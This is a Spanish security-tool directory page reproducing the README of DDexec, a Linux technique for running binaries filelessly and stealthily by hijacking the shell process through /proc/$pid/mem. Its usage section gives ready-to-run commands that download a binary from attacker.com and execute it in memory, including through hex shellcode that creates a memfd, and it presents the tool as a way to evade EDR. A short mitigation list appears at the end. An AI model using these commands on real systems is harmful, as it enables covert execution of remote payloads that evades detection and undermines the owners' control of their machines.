Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
DDexec — Una técnica para ejecutar binarios sin archivos y de forma sigilosa en Linux "sobrescribiendo" el proceso del shell con otro. | Kitploit
Herramientas/GitHubGitHub/arget13/ddexec
Generación de PayloadsShellcodePost-ExplotaciónPruebas de PenetraciónRed TeamingExplotación de Binarios
GitHubarget13/ddexec

DDexec

Una técnica para ejecutar binarios sin archivos y de forma sigilosa en Linux "sobrescribiendo" el proceso del shell con otro.

Ver Repositorio
893904hace 1 añoRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Novedades de DDexec

He actualizado DDexec tanto que apenas es reconocible, el análisis del ELF ahora se realiza mediante código máquina en lugar del script de shell, lo que lo hace mucho más rápido, fiable y comprensible. También ha reducido su número de dependencias al mínimo absoluto.

Ahora también apenas depende de la aritmética del shell, lo que podría hacer que funcione en Android.

Contexto

En Linux, para ejecutar un programa, debe existir como archivo, debe ser accesible de alguna manera a través de la jerarquía del sistema de archivos (así es como funciona execve()). Este archivo puede residir en disco o en RAM (tmpfs, memfd) pero necesitas una ruta de archivo. Esto ha hecho muy fácil controlar lo que se ejecuta en un sistema Linux, facilita la detección de amenazas y herramientas de atacantes o evita que intenten ejecutar algo propio (p. ej. no permitir que usuarios no privilegiados coloquen archivos ejecutables en ningún lado).

Bueno, si no puedes iniciar el proceso que deseas... entonces secuestras y torturas uno ya existente hasta que cumpla tus deseos.

Uso

Introduce en el script ddexec.sh el binario que deseas ejecutar. Los argumentos para el script son los argumentos para el programa (comenzando con argv[0]).

Aquí, prueba esto:

root@kitploit:~
bash ddexec.sh ls -lA < /bin/ls

que es fácilmente weaponizable con algo como

root@kitploit:~
wget -O- https://attacker.com/binary.elf | bash ddexec.sh argv0 foo bar

También existe el script ddsc.sh que permite ejecutar código máquina directamente. El siguiente es un ejemplo del uso de un shellcode que creará un memfd (un descriptor de archivo que apunta a un archivo en memoria) al que luego podemos escribir binarios y ejecutarlos, obviamente desde memoria.

root@kitploit:~
bash ddsc.sh -x <<< "68444541444889e74831f64889f0b401b03f0f054889c7b04d0f05b0220f05" &
cd /proc/$!/fd
wget -O 4 https://attacker.com/binary.elf
./4

En ARM64 el proceso es el mismo.

root@kitploit:~
bash ddsc.sh -x <<< "802888d2a088a8f2e00f1ff8e0030091210001cae82280d2010000d4c80580d2010000d4881580d2010000d4610280d2281080d2010000d4"

Las distribuciones de Linux probadas son Debian, Alpine y Arch. Los shells soportados son bash, zsh y ash (busybox); en arquitecturas x86_64 y aarch64 (arm64).

EverythingExec

A partir del 12/12/2022 he encontrado una serie de alternativas a dd, una de las cuales, tail, es actualmente el programa predeterminado utilizado para lseek() a través del archivo mem (que era el único propósito de usar dd). Dichas alternativas son:

root@kitploit:~
tail
hexdump
cmp
xxd

Configurando la variable SEEKER puedes cambiar el seeker utilizado, p. ej.:

root@kitploit:~
SEEKER=cmp bash ddexec.sh ls -l <<< $(base64 -w0 /bin/ls)

Si encuentras otro seeker válido no implementado en el script, aún puedes usarlo configurando la variable SEEKER_ARGS:

root@kitploit:~
SEEKER=xxd SEEKER_ARGS='-s $offset' zsh ddexec.sh ls -l <<< $(base64 -w0 /bin/ls)

Bloqueen esto, EDRs.

Dependencias

Este script depende de las siguientes herramientas para funcionar.

root@kitploit:~
bash | zsh | ash (busybox)
tail | dd | hexdump | cmp | xxd | cualquier otro programa que nos permita buscar a través de un fd

En el caso de ash, tail, dd, hexdump, cmp y xxd son built-ins, por lo que no son realmente una dependencia.

Nota: Solo funciona en versiones modernas de busybox, no estoy seguro de la versión más antigua, no lo he investigado. Sé que funciona en v1.35.0, pero no en v1.30.0.

La técnica

Si eres capaz de modificar arbitrariamente la memoria de un proceso, entonces puedes tomar el control del mismo. Esto se puede usar para secuestrar un proceso ya existente y reemplazarlo con otro programa. Podemos lograr esto ya sea usando la syscall ptrace() (que requiere tener la capacidad de ejecutar syscalls o tener gdb disponible en el sistema) o, más interesante, escribiendo en /proc/$pid/mem.

El archivo /proc/$pid/mem es un mapeo uno a uno del espacio de direcciones de espacio de usuario de un proceso (p. ej. desde 0x0 hasta 0x7ffffffffffff000 en x86-64). Esto significa que leer o escribir en este archivo en un desplazamiento x es lo mismo que leer o modificar el contenido en la dirección virtual x.

Ahora, tenemos tres problemas básicos que enfrentar:

  • En general, solo root y el propietario del programa pueden modificar el archivo.
  • ASLR.
  • Si intentamos leer o escribir en una dirección no mapeada en el espacio de direcciones del programa, obtendremos un error de E/S.

Pero tenemos soluciones ingeniosas:

  • La mayoría de los intérpretes de shell permiten la creación de descriptores de archivo que luego serán heredados por los procesos hijo. Podemos crear un fd apuntando al archivo mem del shell con permisos de escritura... así que los procesos hijo que usen ese fd podrán modificar la memoria del shell.
  • ASLR ni siquiera es un problema, podemos verificar el archivo maps del shell desde procfs para obtener información sobre la distribución de direcciones del proceso.
  • Así que necesitamos lseek() sobre el archivo. Desde el shell, esto se puede hacer usando algunos binarios comunes, como tail o el infame dd, consulte la sección EverythingExec para más información.

En más detalle

Los pasos son relativamente fáciles y no requieren ningún tipo de experiencia para entenderlos:

  • Obtener de /proc/$pid/syscall la dirección a la que el proceso retornará después de la syscall que está ejecutando actualmente —ya que estamos leyendo este archivo, dicha syscall será read(), y la dirección estará en el wrapper de read() de la libc. Esto es solo para obtener un lugar donde nuestro stager será encontrado pronto.
  • Sobrescribir ese lugar, que será ejecutable, con un stager (a través de mem podemos modificar páginas no escribibles). Dicho stager leerá y ejecutará un shellcode más grande.
  • Este shellcode, en términos generales, realizará los mismos pasos que el kernel hace en cada llamada a execve():
    • Analizar el binario, encontrar qué loader necesita y los mapeos que ambos necesitan.
    • Crear los mapeos que necesitan.
    • Leer los binarios en ellos.
    • Configurar los permisos.
    • Finalmente inicializar la pila con los argumentos del programa y colocar el vector auxiliar (necesario para el loader).
    • Saltar al loader y dejar que haga el resto (cargar y enlazar las bibliotecas necesarias para el programa).

El shellcode se ha generado compilando loader.c, y ajustando su ensamblador para eliminar y simplificar muchos artefactos introducidos por el compilador.

Contribuir

Bueno, hay un par de TODOs. Además de esto, puede que hayas notado que no sé mucho sobre scripting de shell (soy más programador de C) y estoy seguro de que debo haber ganado una década de premios "useless use of a cat" —no se dañaron gatos en la creación de esta herramienta— y el resto de variantes solo con una fracción de este proyecto.

— Portar a otros shells —en el límite deberíamos hacer el script compatible con POSIX.

  • Permitir ejecutar el programa con un entorno no vacío.
  • Cargar también de manera fileless el loader del programa, en caso de que no esté en el sistema objetivo (puede ser una distribución con musl, por ejemplo, como Alpine).
  • Y también permitir cargar (fileless, por supuesto) desde otra fuente las bibliotecas necesarias, en caso de que no estén en el sistema (incluso podría ser distroless y no tener ninguna biblioteca). Para esto, memdlopen es probablemente el camino.
  • ddsc.sh necesita un poco de actualización.

De todas formas, siéntete libre de hacer fork y PR. Pero por favor, al contribuir ten en cuenta que no se aceptarán PRs que hagan que no funcione en los shells soportados, eso no es contribuir, es solo romper cosas. Sería mejor si tus cambios son compatibles con POSIX.

Solo... por favor, por favor, por favor, revisa tu código y comprueba que funcione en los shells soportados al menos en Debian y Alpine. Es solo un par de dockers.

Créditos

Después de publicar esta herramienta, me enteré de que Sektor7 ya había publicado esta técnica casi exacta en su blog hace unos años.

A pesar de esto, pensé esta técnica de forma independiente, ahora casi en su totalidad. Probablemente la parte más inteligente de esta técnica es el uso del descriptor de archivo heredado, idea proporcionada por David Buchanan (inspirado por el blog de Sektor7) casi un año antes de que siquiera empezara a pensar en este tema. Esto por sí solo no solo hace la técnica mucho más simple y limpia, sino que también la hace mucho más letal al eliminar la necesidad de deshabilitar ASLR.

De cualquier manera, espero poder difundir esta técnica mucho más, que es lo que importa.

Me gustaría agradecer a Carlos Polop, un gran pentester y mejor amigo, por hacerme pensar en este tema, y por sus útiles comentarios e interés, oh, y también le debo el nombre del proyecto. Estoy seguro de que si estás leyendo esto ya has usado su increíble herramienta PEASS y has encontrado útil algún artículo de su libro HackTricks.

¿Y ahora qué?

Puedes:

  • Ir a distroless. Bueno, en ciertos escenarios puede que no te proteja en absoluto.
  • Usar un kernel compilado sin soporte para el archivo mem.
  • No montar procfs.

¿Preguntas? ¿Amenazas de muerte?

Puedes contactarme a través de Twitter.

Descargar herramienta